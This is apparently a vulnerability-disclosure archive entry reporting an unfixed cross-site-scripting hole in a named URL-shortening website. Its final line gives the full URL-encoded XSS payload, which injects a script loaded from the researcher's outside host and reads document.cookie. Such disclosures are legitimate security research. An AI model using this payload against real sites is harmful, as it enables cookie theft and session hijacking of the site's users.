Security researcher PlanetCreator, has submitted on 14/03/2011 a cross-site-scripting (XSS) vulnerability affecting shorten.ygn.me, which at the time of submission ranked 4540188 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 09/12/2011. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.
Vulnerable URL: http://shorten.ygn.me/index.php?url=%27%22%3E%3C%2Ftitle%3E%3Cscript%20src=http://www.planetcreator.net/attacking/xss/planetcreator-xss.js%3Ealert%28document.cookie%29%3C%2Fscript%3E%3E%3Cmarquee%3E%3Ch1%3EXSS+by+PlanetCreator%3C%2Fh1%3E%3C%2Fmarquee%3E